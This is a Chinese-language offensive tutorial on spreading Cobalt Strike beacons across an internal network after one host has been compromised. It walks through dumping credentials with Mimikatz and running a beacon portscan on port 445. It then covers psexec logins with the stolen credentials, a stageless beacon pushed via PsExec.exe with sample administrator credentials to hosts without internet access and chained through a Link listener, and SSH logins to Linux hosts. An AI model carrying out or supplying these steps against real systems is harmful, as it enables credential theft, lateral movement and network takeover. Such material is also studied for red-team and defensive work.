前言
當獲取一台目標服務器權限時,更多是想辦法擴大戰果,獲取目標憑據並橫向進行登陸是最快速的拿權方式。但目標所處環境是否可出網,如何利用CobalStrike進行批量上線,正是本文所要講述的內容。
獲取憑據
目標機器CobalStrike上線后,通常先抓取該主機憑據,選擇執行 Access–>Run Mimikatz ,或在Beacon中執行logonpasswords
命令。需要當前會話為管理員權限,才能成功,如果權限低,請先提權~
點擊工具欄的Credentials
,可以看到獲取的憑據信息。(Credentials可自行添加)
當然,不是每次都能成功獲取到明文密碼的,要看內存中是否存儲。
目標機出網
psexec傳遞
獲取憑據后,需要對目標網段進行端口存活探測,縮小范圍。探測方式比較多,本文僅依托CobalStrike本身完成,不借助其他工具。因為是psexec傳遞登錄,這里僅需探測445端口。( psexec:在主機上使用服務派生會話 )
使用portscan命令:ip網段 — ports端口 — 掃描協議(arp、icmp、none)— 線程(實戰不要過高)。
1 |
beacon> portscan 192.168.144.0/24 445 arp 200 |
點擊工具欄的View–>Targets,查看端口探測后的存活主機。(Targets可自行添加)
選擇Login–>psexec傳遞登錄。
選擇之前獲取到的憑據信息(明文密文均可),此處選擇明文,並確定接收的Listener與主機的Session。
在Beacon中可以看到執行的命令,並會顯示成功登錄的ip,之后就便會上線CobalStrike。這樣就控制了多個主機的系統權限。
附:psexec密文傳遞Beacon中執行的命令。【不是psexec(psh)選項】
目標機不出網
Link Listener
實戰中往往還會遇到通過某種方式,獲取到目標內網中某台主機的系統權限,但是該主機處在隔離網絡中,不能出網。因為CobalStrike服務端是搭建在互聯網中的,通過常規方式是無法上線的,這里就需要利用已上線的主機,將它做一個Listener,實現鏈路上線CobalStrike。
首先,在已上線的主機創建Listener,監聽端口可自定義。
選擇 Attacks->Packages->Windows Executable(Stageless),支持導出該類型Listener對應的可執行文件或dll等。
注意,選擇剛建立的Listener名字,Proxy可不設置,這里生成exe保存本地。(未免殺)
上傳剛才生成的payload到當前已上線的目標機中,還需要上傳另一個工具PsExec.exe 。(CobalStrike本身psexec功能不夠強大,且方法不唯一)
在Beacon中使用PsExec工具將payload上傳到不出網的目標機中,自動執行,上線。
1 |
beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe |
端口查看,實際不出網目標機(192.168.144.196)是與出網目標機(192.168.144.155)正在建立連接。
1 |
beacon> shell netstat -ano |findstr 4444 |
因為這是link鏈接,只要主鏈路(即出網機Listener)掉線,就都會掉線!
SSH登錄
ssh批量登錄比較簡單,同樣利用當前已上線的目標機進行登錄。
1 |
beacon> portscan 192.168.144.170-210 22 arp 200 |
在Credentials中添加ssh的口令信息。(ssh口令可事先通過其他方式獲取,不建議用此工具進行ssh爆破,效率慢)
選擇Login–>ssh登錄。
選擇剛添加的ssh口令,主機Session,即從哪台主機連接過去。
ssh成功登錄后,就實現了Linux目標機的上線,在Beacon中可以看到執行的命令。若需要上線的Linux主機不多,可直接在Beacon中執行命令。
在Linux目標機中查看網絡連接狀態,實際是與之前已上線的Windows主機建立的連接。
總結
本文只是講述針對不同環境的不同上線方式,利用CobalStrike對已獲取權限的主機進行批量上線。不要把CobalStrike當成最優的端口探測與口令爆破方式,工具的特性並不在此。畢竟在內網中拿權要有效率,不能浪費太多時間,工具間要進行互補,發揮各自的優勢。當然,上線的方式也不要局限此處!